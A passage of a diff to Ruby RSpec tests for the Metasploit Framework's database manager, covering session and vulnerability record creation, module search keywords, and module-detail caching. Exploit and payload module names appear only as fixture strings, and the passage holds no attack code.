should == exploit_full_name } - its(:via_payload) { should == payload_full_name } - - context 'with :last_seen' do - let(:last_seen) do - opened_at - end - - its(:last_seen) { should == last_seen } - end - - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:closed_at) { should == closed_at } - end - - context 'without :closed_at' do - its(:closed_at) { should == nil } - end - - context 'without :last_seen' do - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:last_seen) { should == closed_at } - end - - context 'without :closed_at' do - its(:last_seen) { should be_nil } - end - end - - context 'with :routes' do - let(:routes) do - FactoryGirl.build_list( - :mdm_route, - 1, - :session => nil - ) - end - - its(:routes) { should == routes } - end - - context 'without :routes' do - its(:routes) { should == [] } - end - end - end - - context 'without Mdm::Host' do - let(:host) do - '192.168.0.1' - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :host, expected Host object") - end - end - end - - context 'without :host' do - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError) - end - end - end - end - - context 'without active' do - let(:active) do - false - end - - it { should be_nil } - - it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once - - report_session - end - end - end - - context '#remove_module_details' do - def remove_module_details - db_manager.remove_module_details(mtype, refname) - end - - let(:migrated) do - false - end - - let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname - end - - let!(:module_detail) do - FactoryGirl.create( - :mdm_module_detail - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'with matching Mdm::Module::Detail' do - let(:mtype) do - module_detail.mtype - end - - let(:refname) do - module_detail.refname - end - - it 'should destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - end - - context 'without matching Mdm::Module::Detail' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#search_modules' do + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + its(:host) { should == Mdm::Host.last } + its(:refs) { should == [] } + its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } + its(:name) { should == parent_module_name } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} + its(:name) { should == reference_name } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + its(:service) { should == service } + end + + context 'without RPORT' do + its(:service) { should be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:session_id) { should == Mdm::Session.last.id } + its(:exploited) { should == true } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:vuln_id) { should == Mdm::Vuln.last.id } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + its(:module) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + its(:module) { should == session.via_exploit } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + its(:datastore) { should == session.exploit_datastore.to_h } + its(:desc) { should == session.info } + its(:host_id) { should == Mdm::Host.last.id } + its(:last_seen) { should be_within(1.second).of(Time.now.utc) } + its(:local_id) { should == session.sid } + its(:opened_at) { should be_within(1.second).of(Time.now.utc) } + its(:platform) { should == session.platform } + its(:routes) { should == [] } + its(:stype) { should == session.type } + its(:via_payload) { should == session.via_payload } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + its(:via_exploit) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + its(:via_exploit) { should == session.via_exploit } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + double('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end + + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) + end + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + its(:close_reason) { should == close_reason } + its(:desc) { should == description } + its(:host) { should == host } + its(:platform) { should == platform } + its(:stype) { should == session_type } + its(:via_exploit) { should == exploit_full_name } + its(:via_payload) { should == payload_full_name } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + its(:last_seen) { should == last_seen } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:closed_at) { should == closed_at } + end + + context 'without :closed_at' do + its(:closed_at) { should == nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:last_seen) { should == closed_at } + end + + context 'without :closed_at' do + its(:last_seen) { should be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + its(:routes) { should == routes } + end + + context 'without :routes' do + its(:routes) { should == [] } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + # 1st time for with_established_connection + ActiveRecord::Base.connection_pool.should_receive(:with_connection).once + + report_session + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do subject(:search_modules) do db_manager.search_modules(search_string) end - let(:module_details) do - search_modules.to_a - end + let(:module_details) do + search_modules.to_a + end - context 'with app keyword' do - let(:search_string) do - "app:#{app}" - end + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end - before(:each) do - Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) - end - end + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end - context 'with client' do - let(:app) do - 'client' - end + context 'with client' do + let(:app) do + 'client' + end - it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_true + end + end - context 'with server' do - let(:app) do - 'server' - end + context 'with server' do + let(:app) do + 'server' + end - it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_true + end + end + end - context 'with author keyword' do - let(:search_string) do + context 'with author keyword' do + let(:search_string) do # us inspect so strings with spaces are quoted correctly - "author:#{author}" - end + "author:#{author}" + end - let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) - end + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end - let(:target_module_author) do - module_authors.first - end + let(:target_module_author) do + module_authors.first + end - context 'with Mdm::Module::Author#email' do - let(:author) do - target_module_author.email - end + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end - it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_true + end + end - context 'with Mdm::Module::Author#name' do + context 'with Mdm::Module::Author#name' do let(:author) do # use inspect to quote space in name target_module_author.name.inspect end - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name - } - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb - context 'with name keyword' do - let(:search_string) do - "name:#{name}" - end + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end - let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end - let(:target_module_detail) do - existing_module_details.first - end + let(:target_module_detail) do + existing_module_details.first + end - context 'with Mdm::Module::Detail#fullname' do - let(:name) do - target_module_detail.fullname - end + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_true + end + end - context 'with Mdm::Module::Detail#name' do - let(:name) do + context 'with Mdm::Module::Detail#name' do + let(:name) do # use inspect so spaces are inside quotes - target_module_detail.name.inspect - end + target_module_detail.name.inspect + end - it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform - context 'with ref keyword' do - let(:ref) do - FactoryGirl.generate :mdm_module_ref_name - end + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end - let(:search_string) do + let(:search_string) do # use inspect to quote spaces in string - "ref:#{ref.inspect}" - end + "ref:#{ref.inspect}" + end - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end - context 'with Mdm::Module::Ref#name' do - let(:ref) do - module_ref.name - end + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_true + end + end - context 'without Mdm::Module::Ref#name' do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end - context 'with type keyword' do - let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype - end + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end - let(:search_string) do - "type:#{type}" - end + let(:search_string) do + "type:#{type}" + end - let(:target_module_detail) do - all_module_details.first - end + let(:target_module_detail) do + all_module_details.first + end - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end - context 'with Mdm::Module::Ref#name' do - let(:type) do - target_module_detail.mtype - end + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end - it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_true + end + end - context 'without Mdm::Module::Detail#mtype' do - it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 - end - end - end + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end - context 'without keyword' do - context 'with Mdm::Module::Action#name' do - let(:search_string) do - module_action.name - end + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end - let!(:module_action) do - FactoryGirl.create(:mdm_module_action) - end + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end - it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Arch#name' do - let(:search_string) do - module_arch.name - end + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end - let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) - end + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end - it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Author#name' do - let(:search_string) do - module_author.name - end + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end - let!(:module_author) do - FactoryGirl.create(:mdm_module_author) - end + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Detail' do - let(:target_module_detail) do - all_module_details.first - end + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) - end + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end - context 'with #description' do - let(:search_string) do + context 'with #description' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.description.inspect - end + target_module_detail.description.inspect + end - it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_true + end + end - context 'with #fullname' do - let(:search_string) do - target_module_detail.fullname - end + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_true + end + end - context 'with #name' do - let(:search_string) do + context 'with #name' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - context 'with Mdm::Module::Platform#name' do - let(:search_string) do - module_platform.name - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Ref#name' do - let(:search_string) do - module_ref.name - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:search_string) do - module_target.name - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string - } - }.should be_true - end - end - end - end - - context '#update_all_module_details' do - def update_all_module_details - db_manager.update_all_module_details - end - - let(:migrated) do - false - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - true - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without modules_caching' do - let(:modules_caching) do - false - end - - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - framework.should_receive(:cache_thread=).with(nil).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_cached to false and then true around connection' do - db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_caching to true and then false around connection' do - db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - context 'with Mdm::Module::Details' do - let(:module_pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:modification_time) do - module_pathname.mtime - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let!(:module_detail) do - # needs to reference a real module so that it can be loaded - FactoryGirl.create( - :mdm_module_detail, - :file => module_pathname.to_path, - :mtime => modification_time, - :mtype => type, - :ready => ready, - :refname => reference_name - ) - end - - context '#ready' do - context 'false' do - let(:ready) do - false - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - - context 'true' do - let(:ready) do - true - end - - context 'with existing Mdm::Module::Detail#file' do - context 'with same Mdm::Module::Detail#mtime and File.mtime' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without same Mdm::Module::Detail#mtime and File.mtime' do - let(:modification_time) do - # +1 as rand can return 0 and the time must be different for - # this context. - super() - (rand(1.day) + 1) - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - end - - # Emulates a module being removed or renamed - context 'without existing Mdm::Module::Detail#file' do - # have to compute modification manually since the - # `module_pathname` refers to a non-existent file and - # `module_pathname.mtime` would error. - let(:modification_time) do - Time.now.utc - 1.day - end - - let(:module_pathname) do - parent_pathname.join('exploits', 'deleted.rb') - end - - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - end - end - end - end - - context 'without migrated' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - - context '#update_module_details' do - def update_module_details - db_manager.update_module_details(module_instance) - end - - let(:loader) do - loader = framework.modules.send(:loaders).find { |loader| - loader.loadable?(parent_path) - } - - # Override load_error so that rspec will print it instead of going to framework log - def loader.load_error(module_path, error) - raise error - end - - loader - end - - let(:migrated) do - false - end - - let(:module_instance) do - # make sure the module is loaded into the module_set - loaded = loader.load_module(parent_path, module_type, module_reference_name) - - unless loaded - module_path = loader.module_path(parent_path, type, module_reference_name) - - fail "#{description} failed to load: #{module_path}" - end - - module_set.create(module_reference_name) - end - - let(:module_set) do - framework.modules.module_set(module_type) - end - - let(:module_type) do - 'exploit' - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:type_directory) do - 'exploits' - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original - - update_module_details - end - - it 'should create an Mdm::Module::Detail' do - expect { - update_module_details - }.to change(Mdm::Module::Detail, :count).by(1) - end - - - context 'module_to_details_hash' do - let(:module_to_details_hash) do - { - :mtype => module_type, - :privileged => privileged, - :rank => rank, - :refname => module_reference_name, - :stance => stance - } - end - - let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged - end - - let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank - end - - let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance - end - - before(:each) do - db_manager.stub( - :module_to_details_hash - ).with( - module_instance - ).and_return( - module_to_details_hash - ) - end - - context 'Mdm::Module::Detail' do - subject(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } - end - - context 'with :bits' do - let(:bits) do - [] - end - - before(:each) do - module_to_details_hash[:bits] = bits - end - - context 'with :action' do - let(:name) do - FactoryGirl.generate :mdm_module_action_name - end - - let(:bits) do - super() << [ - :action, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Action' do - expect { - update_module_details - }.to change(Mdm::Module::Action, :count).by(1) - end - - context 'Mdm::Module::Action' do - subject(:module_action) do - module_detail.actions.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :arch' do - let(:name) do - FactoryGirl.generate :mdm_module_arch_name - end - - let(:bits) do - super() << [ - :arch, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Arch' do - expect { - update_module_details - }.to change(Mdm::Module::Arch, :count).by(1) - end - - context 'Mdm::Module::Arch' do - subject(:module_arch) do - module_detail.archs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :author' do 